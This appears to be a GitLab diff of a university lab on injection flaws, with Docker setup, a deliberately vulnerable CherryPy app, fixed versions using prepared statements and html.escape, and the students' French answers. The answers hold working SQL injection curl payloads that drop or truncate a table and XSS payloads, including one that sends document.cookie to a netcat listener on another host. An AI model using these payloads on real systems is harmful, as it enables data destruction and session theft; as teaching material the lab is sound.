Skip to content
Snippets Groups Projects

Compare revisions

Changes are shown as if the source revision was being merged into the target revision. Learn more about comparing revisions.

Source

Select target project
No results found
Select Git revision
  • master
1 result

Target

Select target project
  • nicolas.senecaux.etu/isi-tp2-injection
  • benjamin.pianet.etu/isi-tp2-injection
  • madouvi.hounsi.etu/isi-tp2-injection-ml
  • ainatiavina.ratefiarivony.etu/isi-tp2-injection
  • sanasadat.mirahsani.etu/isi-tp2-injection
  • samir.sadallah.etu/isi-tp2-injection
  • marwane.ouaret.etu/isi-tp2-injection
  • fabio.vandewaeter.etu/isi-tp2-injection
  • francois.gibier.etu/isi-tp2-injection
  • renaud.fondeur.etu/isi-tp2-injection
  • nathan.gerussi.etu/isi-tp-2-final
  • lucas.philippe.etu/isi-tp2-injection
  • pierre.lague.etu/isi-tp2-injection
  • victor.truyen.etu/isi-tp-2-injection-truyen
  • nathan.gerussi.etu/isi-tp2-injection
  • audrey.bilon.etu/isi-tp2-injection
  • valentin.bout.etu/isi-tp2-injection
  • anouar.fayk.etu/isi-tp2-injection
  • sara.saoudi.etu/isi-tp2-injection
  • elouan.markgraf.etu/isi-tp2-injection
  • joel.muakansilulu.etu/isi-tp2-injection
  • chialing.an.etu/isi-tp2-injection
  • cyril.guffroy.etu/isi-tp2-injection
  • anisse.benabdallah.etu/isi-tp2-injection
  • elhadjabdoulaye.diallo.etu/isi-tp2-injection
  • clement.dessingue.etu/isi-tp2-injection
  • adrien.morel2.etu/isi-tp2-injection
  • selma.hamlati.etu/isi-tp2-injection
  • cedric.bevilacqua.etu/isi-tp2-injection
  • aboubakarsiriki.diakite.etu/isi-tp2-injection
  • salim.oufriche.etu/isi-tp2-injection
  • julien.michot.etu/isi-tp2-injection
  • fabien.merceret.etu/isi-tp2-injection
  • robin.gallifa.etu/isi-tp2-injection
  • elmehdi.amine.etu/isi-tp2-injection
  • quentin.prognon.etu/isi-tp2-injection
  • ryan.rossez.etu/isi-tp2-injection
  • quentin.dinel.etu/isi-tp2-injection
  • aridath.salami.etu/isi-tp2-injection
  • victorien.delbano.etu/isi-tp2-injection
  • louis.laurent.etu/isi-tp2-injection
  • quentin.bouchard.etu/isi-tp2-injection
  • hippolyte.larzul.etu/isi-tp2-injection
  • ludovic.jozeau.etu/isi-tp2-injection
  • adrian.rosin.etu/isi-tp2-injection
  • benjamin.lemaire.etu/isi-tp2-injection
  • celia.oukaid.etu/isi-tp2-injection
  • thomas.brunet.etu/isi-tp2-injection
  • victor.roy.etu/isi-tp2-injection
  • thitouane.helle.etu/isi-tp2-injection
  • florent.maes.etu/isi-tp2-injection
  • louis.verdon.etu/isi-tp2-injection
  • martin.birlouez.etu/isi-tp2-injection
  • lucas.jourdain.etu/isi-tp2-injection
  • lucas.hennebicq.etu/isi-tp2-injection
  • louise.delbecque.etu/isi-tp2-injection
  • ilias.elabbassi.etu/isi-tp2-injection
  • luka.claeys.etu/isi-tp2-injection
  • hugo.sirard.etu/isi-tp2-injection
  • jeremy.curoux.etu/isi-tp2-injection
  • jules.bompard.etu/isi-tp2-injection
  • zakarya.elmazdoula.etu/isi-tp2-injection
  • pierre.graux/isi-tp2-injection
  • pascalsebastien.agba.etu/isi-tp2-injection
  • yaakoub.leguennec.etu/isi-tp2-injection
  • abdoulmatine.diallo.etu/isi-tp2-injection
  • reem.daoud.etu/isi-tp2-injection
  • antoine.bearez.etu/isi-tp2-injection
  • selim.lakhdar.etu/isi-tp2-injection
  • theo.pires.etu/isi-tp2-injection
  • clement.saulquin.etu/isi-tp2-injection
  • hugo.monfleur.etu/isi-tp2-injection
  • paul.leratlambert.etu/isi-tp2-injection
  • mohamedsaid.hammoudi.etu/isi-tp2-injection
  • alexandre.perseval.etu/isi-tp2-injection
  • alix.delbroucq.etu/isi-tp2-injection
  • audrey.dewaele.etu/isi-tp2-injection
  • cheick.fofana2.etu/isi-tp2-injection
  • ahmad.almosaalmaksour.etu/isi-tp2-injection
  • justin.bescop.etu/isi-tp2-injection
  • thiernoamadou.bah.etu/isi-tp2-injection
  • leo.mans.etu/isi-tp2-injection
  • eldin.smakic.etu/isi-tp2-injection
  • samy.boumahdi.etu/isi-tp2-injection
  • ziyue.zhou.etu/isi-tp2-injection
  • salma.elmoukhlis.etu/isi-tp2-injection
  • philippe.lesueur.etu/isi-tp2-injection
  • hocine.bouali.etu/isi-tp2-injection
  • alexis.finard.etu/isi-tp2-injection
  • hamza.ezzinaoui.etu/isi-tp2-injection
  • lisa.medah.etu/isi-tp2-injection
  • sebastien.bart.etu/isi-tp2-injection
  • yves.saidokibundila.etu/isi-tp2-injection
  • nordine.elammari.etu/isi-tp2-injection
  • kevin.nguyen.etu/isi-tp2-injection
  • florian.dendoncker.etu/isi-tp2-injection
  • vincent.samier.etu/isi-tp2-injection
  • etienne.sekkourialaoui.etu/isi-tp2-injection
  • pierre.michiels.etu/isi-tp2-injection
  • theo.denoyelle.etu/isi-tp2-injection
  • rayane.adaoun.etu/isi-tp2-injection
  • thiernosouleymane.bah.etu/isi-tp2-injection
  • loic.bontemps.etu/isi-tp2-injection
  • aymeric.lefeyer.etu/isi-tp2-injection
  • donovan.souvanthong.etu/isi-tp2-injection
  • julien.vanryssel.etu/isi-tp2-injection
  • mikolai.krol.etu/isi-tp2-injection
  • dounia.aggoune.etu/isi-tp2-injection
  • adrien.meunier.etu/isi-tp2-injection
  • youva.mokeddes.etu/isi-tp2-injection
  • nordine.feddal.etu/isi-tp2-injection
  • giuseppe.lipari/isi-tp2-injection
112 results
Select Git revision
  • master
1 result
Show changes
Commits on Source (6)
db:
docker-compose -f ./deployments/docker-compose.yml up -d db adminer
up: db
sleep 10
docker-compose -f ./deployments/docker-compose.yml up -d web_vul web_sql_correct web_xss
down:
docker-compose -f ./deployments/docker-compose.yml down
...@@ -191,3 +191,4 @@ données en base, au moment de l'affichage, les deux? Pourquoi ? ...@@ -191,3 +191,4 @@ données en base, au moment de l'affichage, les deux? Pourquoi ?
Essayez à nouveau l'exploitation de la faille développée plus tôt, pour Essayez à nouveau l'exploitation de la faille développée plus tôt, pour
vérifier que l'application n'est plus vulnérable. vérifier que l'application n'est plus vulnérable.
#!/usr/bin/env python3 #!/usr/bin/env python3
DB_HOST="localhost" DB_HOST="10.1.0.2"
DB_USER="isi" DB_USER="pouet"
DB_NAME="isi" DB_NAME="isitp"
DB_PASS="toto" DB_PASS="pouet"
# set base image (host OS)
FROM python
# set the working directory in the container
WORKDIR /app
# copy the content of the local src directory to the working directory
COPY . .
# install dependencies
RUN pip install -r requirements.txt
# command to run on container start
CMD [ "python3", "serveur.py" ]
# set base image (host OS)
FROM python
# set the working directory in the container
WORKDIR /app
# copy the content of the local src directory to the working directory
COPY . .
# install dependencies
RUN pip install -r requirements.txt
# command to run on container start
CMD [ "python3", "server_correct.py" ]
# set base image (host OS)
FROM python
# set the working directory in the container
WORKDIR /app
# copy the content of the local src directory to the working directory
COPY . .
# install dependencies
RUN pip install -r requirements.txt
# command to run on container start
CMD [ "python3", "server_xss.py" ]
version: '3.3'
networks:
isi:
ipam:
driver: default
config:
- subnet: 10.1.0.0/24
services:
db:
image: mysql
volumes:
- ./init.sql:/docker-entrypoint-initdb.d/init.sql
restart: always
environment:
MYSQL_ROOT_USER: root
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: isitp
MYSQL_USER: pouet
MYSQL_PASSWORD: pouet
ports:
- "3306:3306"
networks:
isi:
ipv4_address: "10.1.0.2"
web_vul:
image: isi2_web:0.1.0
restart: always
build:
context: ..
dockerfile: /home/ubuntu/isi-tp2-injection/deployments/Dockerfile.server
restart: always
ports:
- "8080:8080"
depends_on:
- db
networks:
isi:
ipv4_address: "10.1.0.3"
web_sql_correct:
image: isi2_web_correct:0.1.0
restart: always
build:
context: ..
dockerfile: /home/ubuntu/isi-tp2-injection/deployments/Dockerfile.server_correct
restart: always
ports:
- "8081:8081"
depends_on:
- db
networks:
isi:
ipv4_address: "10.1.0.5"
web_xss:
image: isi2_web_xss:0.1.0
restart: always
build:
context: ..
dockerfile: /home/ubuntu/isi-tp2-injection/deployments/Dockerfile.server_xss
restart: always
ports:
- "8082:8082"
depends_on:
- db
networks:
isi:
ipv4_address: "10.1.0.6"
adminer:
image: adminer
restart: always
ports:
- "8000:8080"
networks:
isi:
ipv4_address: "10.1.0.4"
CREATE DATABASE IF NOT EXISTS isitp;
USE isitp;
CREATE TABLE chaines (
id int NOT NULL AUTO_INCREMENT,
txt varchar(255) not null,
who varchar(255) not null,
PRIMARY KEY(id)
);
CREATE TABLE chaines2 (
id int NOT NULL AUTO_INCREMENT,
txt varchar(255) not null,
who varchar(255) not null,
PRIMARY KEY(id)
);
INSERT INTO chaines2 (txt,who) VALUES ('findme', '0.0.0.0.0');
...@@ -2,41 +2,84 @@ ...@@ -2,41 +2,84 @@
## Binome ## Binome
Nom, Prénom, email: ___ - ABDULLAH Mohamad <mohamad.abdullah.etu@univ-lille.fr>
Nom, Prénom, email: ___ - LAKHDAR Selim <selim.lakhdar.etu@univ-lille.fr>
## Question 1 ## Question 1
* Quel est ce mécanisme? * Le mécanisme utilisé est un controle grâce à une regex. On ne peut entrer que des chiffres ou des lettres.
* Est-il efficace? Pourquoi? * Non, car le côntrole est effectué côté client. Il suffit de désactiver les scripts JS.
## Question 2 ## Question 2
* Votre commande curl * Commande curl qui bypass la vérification
```
- curl -X POST -d "chaine=Mohamed" http://172.28.101.47:8080/
- curl -X POST -d "chaine=Mohamed@Selim" http://172.28.101.47:8080/
```
## Question 3 ## Question 3
* Votre commande curl pour effacer la table * Votre commande curl pour effacer la table (V1)
```
- curl -X POST -d "chaine=%22%29%3B+DROP+TABLE+chaines%3B--" http://172.28.101.47:8080/
- curl -X POST -d "chaine=%22%29%3B+TRUNCATE+TABLE+chaines%3B--" http://172.28.101.47:8080/
- curl -X POST -d 'chaine=");+TRUNCATE+TABLE+chaines%3B--' http://172.28.101.47:8080/
- curl -X POST -d 'chaine=");+DROP+TABLE+chaines%3B--' http://172.28.101.47:8080/
```
* commande pour bypass le champ who
```
- curl -X POST -d "chaine=hacked','000000')#" http://172.28.101.47:8080/
```
* Expliquez comment obtenir des informations sur une autre table * Expliquez comment obtenir des informations sur une autre table
- Il suffit d'échapper la commande SQL et de rajouter un SELECT * FROM othertable.
- De plus on sait que MySQL crée une table information_schema qui garde toutes les infos sur une Table.
```
- curl -X POST -d "chaine=hacked','000000')+AND+SELECT+*+FROM+chaines2#" http://172.28.101.47:8080/
```
## Question 4 ## Question 4
Rendre un fichier server_correct.py avec la correction de la faille de Rendre un fichier server_correct.py avec la correction de la faille de sécurité. Expliquez comment vous avez corrigé la faille.
sécurité. Expliquez comment vous avez corrigé la faille.
- Il faut utiliser des rêquetes préparées.
```
requete = """INSERT INTO chaines (txt,who) VALUES (%s,%s)"""
cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
```
## Question 5 ## Question 5
* Commande curl pour afficher une fenetre de dialog. * Commande curl pour afficher une fenetre de dialog.
```
- curl -X POST -d "chaine=<script>alert('bonjour')</script>" http://172.28.101.47:8080/
```
* Commande curl pour lire les cookies * Commande curl pour lire les cookies
```
- curl -X POST -d "chaine=<script>alert(document.cookie)</script>" http://172.28.101.47:8080/
```
* Commande curl pour voler les cookies
```
- nc -l -p 6666 (sur la machine 172.28.101.111)
- curl -X POST --data-urlencode "chaine=<script>location.replace(\"http://172.28.101.111:6666?c=\"+document.cookie)</script>" http://172.28.101.47:8080
```
## Question 6 ## Question 6
Rendre un fichier server_xss.py avec la correction de la Rendre un fichier server_xss.py avec la correction de la faille. Expliquez la demarche que vous avez suivi.
faille. Expliquez la demarche que vous avez suivi.
- Il faut échapper les caractères spéciaux grâce à html.escape()
#!/usr/bin/env python3
import mysql.connector
import cherrypy
import config
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
cursor = self.conn.cursor(prepared=True)
if cherrypy.request.method == "POST":
requete = """INSERT INTO chaines (txt,who) VALUES (%s,%s)"""
print("req: [" + requete + "]")
cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines");
for row in cursor.fetchall():
chaines.append(row[0] + " envoye par: " + row[1])
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+'''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp(), '/', {'global': {'server.socket_host':'0.0.0.0','server.socket_port': 8081}})
#!/usr/bin/env python3
import mysql.connector
import cherrypy
import config
import html
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
cursor = self.conn.cursor(prepared=True)
if cherrypy.request.method == "POST":
requete = """INSERT INTO chaines (txt,who) VALUES (%s,%s)"""
print("req: [" + requete + "]")
cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines");
for row in cursor.fetchall():
chaines.append(row[0] + " envoye par: " + row[1])
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
'''+"\n".join(["<li>" + html.escape(s) + "</li>" for s in chaines])+'''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp(), '/', {'global': {'server.socket_host':'0.0.0.0','server.socket_port': 8082}})
...@@ -67,5 +67,4 @@ function validate() { ...@@ -67,5 +67,4 @@ function validate() {
''' '''
cherrypy.quickstart(VulnerableApp()) cherrypy.quickstart(VulnerableApp(), '/', {'global': {'server.socket_host':'0.0.0.0','server.socket_port': 8080}})